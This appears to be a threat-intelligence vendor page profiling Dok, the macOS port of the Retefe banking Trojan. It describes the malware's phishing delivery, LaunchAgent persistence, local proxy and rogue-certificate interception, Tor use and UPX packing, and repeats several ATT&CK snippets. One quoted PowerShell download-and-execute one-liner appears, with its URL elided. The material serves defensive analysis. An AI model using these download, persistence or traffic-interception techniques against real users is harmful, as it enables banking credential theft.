Loading malware…
Dok, also known as OSX/Dok and associated with the Retefe banking malware family, is a macOS banking Trojan focused on intercepting online banking sessions through local proxying and adversary-in-the-middle techniques rather than traditional browser web injects. It is regarded as a macOS port of Retefe, a long-running banking threat that historically targeted users and financial institutions in countries including Switzerland, Sweden, Japan, Austria, and the United Kingdom.
On macOS, Dok has been distributed through phishing emails carrying malicious ZIP attachments and through fake installer applications, including developer-signed binaries used to bypass Gatekeeper protections. The malware has masqueraded as legitimate software and abused signed application bundles to improve execution success on Apple systems.
Once installed, Dok establishes persistence with LaunchAgents, including multiple randomly named property-list entries. It modifies system configuration to redirect network traffic through a local proxy, installs Tor via Homebrew to relay communications through anonymized infrastructure, and uses a rogue root certificate so intercepted TLS sessions do not generate normal browser trust warnings. Campaigns have also altered local system settings to weaken defenses, including disabling security updates and blocking access to Apple security services and malware-analysis resources.
Dok is designed to steal banking credentials by redirecting victims from legitimate financial websites to attacker-controlled infrastructure and fraudulent banking pages. It can prompt users directly for credentials and supports man-in-the-middle interception of SSL-protected traffic. Observed targeting has centered on European banking users, with specific emphasis on Swiss financial institutions. In addition to credential theft, Dok has exfiltrated execution logs over FTP.
The malware has been observed packed with UPX for defense evasion. Its tradecraft reflects the broader Retefe ecosystem’s emphasis on proxy-based banking fraud, geographic targeting, and operational adaptation across platforms.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
This is a writeup on how to implement an unpacker for current versions (at the time of publication) of the banking malware Retefe.
30 distinct techniques documented for this family, organized by ATT&CK tactic.
PowerShell Code Repository: Using Task Sch, wrapper by BattleChicken
This script contains the content required for Retefe persistence, including the scheduled tasks for 7-Zip and the stunnel secure tunneling software.
Below is one example of the PowerShell script that initiates the download and executes it. powershell.exe -Command (New-Object System.Net.WebClient).DownloadFile(...)
PowerShell Code Repository: Using Task Sch, wrapper by BattleChicken
This script contains the content required for Retefe persistence, including the scheduled tasks for 7-Zip and the stunnel secure tunneling software.
Bundlore can persist via a LaunchAgent. Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence. CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.
"retrieve JavaScript code that will reconfigure the system proxy for web browsing to route traffic for specific banking domains through a server controlled by the attacker."
the malware geo-locates the victim according to IP, and then possibly serves them appropriate proxy file settings according to location... The proxy file will redirect all traffic to the mentioned domains... to the local proxy that the malware had set up on the local machine.
Historically there seems to be some variance of ways the malware has stored it's Javascript payload. Some sources mentions self extracting ZIP files and other XORed data. The current version makes use of a 4 byte XOR key which is generated based on the scripts length and a few mathematical operations performed on it.
"Sandworm Team used UPX to pack a copy of Mimikatz"; "APT38 has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium"; "Lazarus Group packed malicious .db files with Themida to evade detection."
The abuse of a shareware application known as “Convert PDF to Word Plus 1.0”; this is a Python script that has been packaged as an executable using PyInstaller and packed into an archive using the UPX packing engine.
"retrieve JavaScript code that will reconfigure the system proxy for web browsing to route traffic for specific banking domains through a server controlled by the attacker."
the malware geo-locates the victim according to IP, and then possibly serves them appropriate proxy file settings according to location... The proxy file will redirect all traffic to the mentioned domains... to the local proxy that the malware had set up on the local machine.
Upon entering their credentials, the victim is met with a page asking for their favored method of authentication
Bundlore prompts the user for their credentials. Calisto presents an input prompt asking for the user's login and password. Cuckoo Stealer has captured passwords by prompting victims with a "macOS needs to access System Settings" GUI window. Dok prompts the user for credentials. FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials. iKitten prompts the user for their credentials. Keydnap prompts the users for credentials. Proton prompts users for their credentials. RedCurl prompts the user for credentials through a Microsoft Outlook pop-up. SILENTTRINITY's credphisher.py module can prompt a current user for their credentials. XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.
Retefe is unusual in its use of proxies to redirect victims to fake bank pages for credential theft
QuasarRAT/Client/Core/Recovery/Browsers/Firefox.cs ... Firefox 37+ Password & Cookie Recovery
"retrieve JavaScript code that will reconfigure the system proxy for web browsing to route traffic for specific banking domains through a server controlled by the attacker."
the malware geo-locates the victim according to IP, and then possibly serves them appropriate proxy file settings according to location... The proxy file will redirect all traffic to the mentioned domains... to the local proxy that the malware had set up on the local machine.
Upon entering their credentials, the victim is met with a page asking for their favored method of authentication
Bundlore prompts the user for their credentials. Calisto presents an input prompt asking for the user's login and password. Cuckoo Stealer has captured passwords by prompting victims with a "macOS needs to access System Settings" GUI window. Dok prompts the user for credentials. FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials. iKitten prompts the user for their credentials. Keydnap prompts the users for credentials. Proton prompts users for their credentials. RedCurl prompts the user for credentials through a Microsoft Outlook pop-up. SILENTTRINITY's credphisher.py module can prompt a current user for their credentials. XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.
"makes a request to a server over HTTPS to retrieve JavaScript code" and "Retefe changes command and control servers frequently... domains that mimic the names of VPN services"
Retefe is unusual in its use of proxies to redirect victims to fake bank pages for credential theft instead of employing web injects
After installing a TOR service, for communication with the command and control over the dark web
97 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
19 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
PC banking trojan listed among malware actively used to attack companies.
Software changes: ... Dok
Mentioned as an honorable mention for unusual implementation choices, including an Objective-C macOS clone.
Banking trojan that redirects victims’ online banking traffic through an attacker-controlled proxy to steal credentials, using fake bank pages rather than typical web injects. The report describes Windows and macOS variants, use of stunnel for proxy/C2 protection, fake installers, and malicious loaders for delivery and persistence.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.